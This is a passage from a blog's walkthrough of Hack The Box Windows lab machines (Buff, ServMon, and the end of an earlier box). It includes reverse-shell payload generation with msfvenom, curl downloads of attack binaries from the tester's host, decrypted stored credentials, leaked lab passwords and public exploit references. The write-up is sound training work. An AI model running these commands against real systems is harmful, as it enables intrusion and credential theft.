class="cl"&gt;python mremoteng_decrypt.py confCons.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;result:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name: DC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hostname: 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Username: Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password: thXLHM96BeKL0ER2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name: L4mpje-PC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hostname: 192.168.1.75&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Username: L4mpje&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password: bureaulampje&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0227.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;The difficulty was fair. For the initial shell, I might have spent a very long time searching if later players hadn&amp;rsquo;t written blog posts explaining how to mount the remote file. I got stuck on the privilege-escalation stage because I didn&amp;rsquo;t inspect every program carefully enough. At the time, I only looked through Program Files and never checked Program Files (x86). I still had to rely on Hack The Box&amp;rsquo;s guided mode: submitting the user flag gave me the next step. I really just need more practice.&lt;/p&gt;&#10;&lt;p&gt;Clean up the mounts afterward, or things can get a little sluggish.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# First, leave the mount directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd /&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check processes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsof | grep &amp;#39;/mnt/vhd&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fuser -mv /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stop related processes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kill &amp;lt;pid&amp;gt; # Or use kill -9 &amp;lt;pid&amp;gt; to force termination&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Unmount the VHD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;guestunmount /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If that fails, try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fusermount -u /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Unmount the CIFS share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;umount /mnt/remote&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If it reports busy, use:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;umount -l /mnt/remote # Lazy unmount&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;umount -f /mnt/remote # Force unmount&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Finally, remove the mount points&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rmdir /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rmdir /mnt/remote&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="11buff"&gt;&lt;a href="#11buff" class="header-anchor"&gt;&lt;/a&gt;11.Buff&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0228.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0229.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 8080 was hosting a gym website. After reading the site&amp;rsquo;s readme.md and doing some searching, I found the project page:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/" target="_blank" rel="noopener"&#10; &gt;https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0230.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an initial password here, but it had already been changed.&lt;/p&gt;&#10;&lt;p&gt;I downloaded the project and found a default user, but those credentials had been changed too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0231.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I started auditing the code and noticed that upload.php didn&amp;rsquo;t seem to perform any authentication checks.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0232.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;When I searched for an exploit, I actually found one with a CVE number. I wanted to make sure it hadn&amp;rsquo;t been written later by someone who had already completed the box:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/48506" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/48506&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0233.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0234.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Clearly, that exploit existed before this box was released, so it wasn&amp;rsquo;t something copied from somebody else&amp;rsquo;s write-up.&lt;/p&gt;&#10;&lt;p&gt;Exploiting it manually would have been simple enough. Crafting the file-upload request was a little tedious, but after setting the project up locally and capturing the request, I could have just changed the IP. I went with the exploit here for convenience.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0235.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That really was convenient. Time to start privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;Skipping over a long stretch here: I spent ages trying to upload an exe for a reverse shell, but nothing worked at all. Neither smb nor certutil worked.&lt;/p&gt;&#10;&lt;p&gt;The uploaded shell wouldn&amp;rsquo;t open either. After a lot of attempts, I finally got it working:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This can be uploaded&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://10.10.16.29:33333/reserver_shell/shell296666.exe -o .\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The Ivan Sincek PHP script can also provide a reverse shell&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0236.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation:&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t seem to be connected to the database.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0237.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the database was definitely running.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0238.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0239.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No wonder I couldn&amp;rsquo;t use it.&lt;/p&gt;&#10;&lt;p&gt;After that, the connection kept dropping, and then I couldn&amp;rsquo;t do anything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0240.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Switching to another openvpn node fixed it.&lt;/p&gt;&#10;&lt;p&gt;I found CloudMe_1112.exe in shaun&amp;rsquo;s download directory.&lt;/p&gt;&#10;&lt;p&gt;And I found an exploit for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0241.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Following the instructions, I tried launching CloudMe_1112.exe, and it really did start locally. I wasn&amp;rsquo;t sure whether launching it as shaun and then exploiting the buffer overflow would give me administrator privileges, but it was still worth a try.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0242.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it was listening locally, so I needed to set up a tunnel.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ve set up tunnels with frp plenty of times, so I won&amp;rsquo;t include that process here. The exploit only needed a few small changes. According to the instructions, I needed to generate shellcode:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Following the hint to avoid CMD, simply append LHOST=10.10.16.2 LPORT=3334&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -a x86 -p windows/shell_reverse_tcp -b &amp;#39;\x00\x0A\x0D&amp;#39; -f python LHOST=10.10.16.2 LPORT=3334&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Since it was generated as buf:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0243.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I just had to add payload = buf after copying it over.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0244.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0245.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It ran successfully without printing any output.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0246.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box wasn&amp;rsquo;t too bad overall. Getting a shell was easy enough to understand; getting the reverse shell was the real headache, probably because of the network adapter. Still, it was all fairly standard. The one thing I really need to learn more about is Windows privilege escalation. Previously, I&amp;rsquo;d always looked for programs in places like Program Files, but this time I found one in a user directory. It still took me a long time.&lt;/p&gt;&#10;&lt;h2 id="12servmon"&gt;&lt;a href="#12servmon" class="header-anchor"&gt;&lt;/a&gt;12.ServMon&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0247.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That rating really is a bit low.&lt;/p&gt;&#10;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0248.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0249.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;smb doesn&amp;rsquo;t allow anonymous login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0250.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The anonymous ftp login had two files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0251.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Going by the hints, nathan&amp;rsquo;s Passwords.txt was placed on the desktop. Then there are Nathan&amp;rsquo;s notes: he&amp;rsquo;d already changed the passwords and locked down access to NSClient? Below that, he also mentions uploading the passwords. He has another secret file on sharepoint, and removing public access to NVMS (which he clearly didn&amp;rsquo;t get around to, or I wouldn&amp;rsquo;t have been able to access it).&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0252.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, there was an arbitrary file-read vulnerability, so I could read the password file.&lt;/p&gt;&#10;&lt;p&gt;For some reason, I couldn&amp;rsquo;t get the exploit to work. Doing it manually worked, though, so it was probably an issue with my parameters.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0253.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0254.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got the passwords. The target currently has quite a few services open, so I&amp;rsquo;d have to try these passwords against them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nathan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1nsp3ctTh3Way2Mars!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Th3r34r3To0M4nyTrait0r5!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;B3WithM30r4ga1n5tMe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;L1k3B1gBut7s@W0rk&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0nly7h3y0unGWi11F0l10w&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IfH3s4b0Utg0t0H1sH0me&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Gr4etN3w5w17hMySk1Pa5$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;None of these passwords worked with hydra against ftp or ssh. I couldn&amp;rsquo;t figure out why hydra wouldn&amp;rsquo;t brute-force smb either.&lt;/p&gt;&#10;&lt;p&gt;The NVMS service on port 80 really was inaccessible, and the NSClient service on port 8443 had been shut off just as the note said.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0255.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried the passwords manually against smb as well, but none of them were correct.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;d only been trying the nathan user before. There was also a Nadine user I hadn&amp;rsquo;t tested yet.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0256.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0257.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a shell.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation:&lt;/p&gt;&#10;&lt;p&gt;Following the hint, I first went looking for the password file in sharepoint. The note also said he was going to upload “password,” but I wasn&amp;rsquo;t sure whether that meant the passwords.txt file or something else, so I searched for that at the same time.&lt;/p&gt;&#10;&lt;p&gt;I probably wasn&amp;rsquo;t going to find the password anymore because my current user couldn&amp;rsquo;t access nathan&amp;rsquo;s files. The only arbitrary file-read primitive I had didn&amp;rsquo;t reveal the directory structure, so there wasn&amp;rsquo;t much I could do with it. Basic enumeration didn&amp;rsquo;t turn up any hidden files in nadine&amp;rsquo;s home directory, so I decided to run a scan first.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://10.10.16.2:33333/winPEASany.exe -o .\winPEASany.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0258.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was deleted as soon as I uploaded it, and I wasn&amp;rsquo;t allowed to view systeminfo either. So I went to look for the sharepoint location mentioned in the note first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0259.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While looking for sharepoint, I found sshconfig. Unfortunately, public-key authentication was disabled; otherwise, I could at least have read nathan&amp;rsquo;s public key.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0260.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find the NSClient++ password or NSC.ini either. I never found sharepoint afterward—there simply wasn&amp;rsquo;t a directory by that name.&lt;/p&gt;&#10;&lt;p&gt;I then started searching for exploits and found that NSClient++ apparently had a local privilege-escalation vulnerability. I couldn&amp;rsquo;t find a local file that revealed the version, but I decided to follow the guide anyway, mainly because it mentioned another password file.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/46802" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/46802&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0261.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0262.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, the guide worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;password = ew2x6SsGTxjRwXOT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The second step said these modules had to be enabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0263.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0264.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I wanted to check whether the startup parameters included them, but unfortunately I couldn&amp;rsquo;t access that information. I could only assume it had been launched with those parameters.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0265.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The guide seemed to require using the web interface. Judging by the listening port, 8443 should have been accessible from every IP rather than bound locally. But the hint had said that NSClient++ was locked down and couldn&amp;rsquo;t be accessed, so I first tried connecting to it locally.&lt;/p&gt;&#10;&lt;p&gt;While searching, I found a few scripts that worked through the API, which meant I wouldn&amp;rsquo;t have to click through the interface manually. I also had to upload an AV-evasive netcat build to keep it from being deleted, confirming that the target had antivirus software installed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0266.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried these exploits, but every single one threw an error. Then I tried accessing the service locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0267.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It would just hang like this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0268.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The target didn&amp;rsquo;t have python.exe either. If it had, I could have uploaded the exploit and run it locally. At this point, it looked like my only option was to set up an frp tunnel.&lt;/p&gt;&#10;&lt;p&gt;After setting up the tunnel, https still failed to resolve properly, so I still couldn&amp;rsquo;t access it locally.&lt;/p&gt;&#10;&lt;p&gt;At this point, my only option was to package those exploits as an exe and upload it, because I still felt the service ought to be reachable locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0269.zh.webp" 